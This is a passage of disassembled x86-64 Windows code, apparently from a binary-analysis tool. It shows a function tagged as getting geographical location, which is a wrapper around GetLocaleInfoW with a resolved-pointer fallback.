call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret

Function at 0x14004b8e0
Capabilities:
Get geographical location

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
call fcn.14004aea0
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x14004b947
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
movabs r10, 0xe375262d7cd44270
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x40]
call qword [0x14006b3c0]
jmp 0x14004b969
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.14004bc70
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
add rsp, 0x58
ret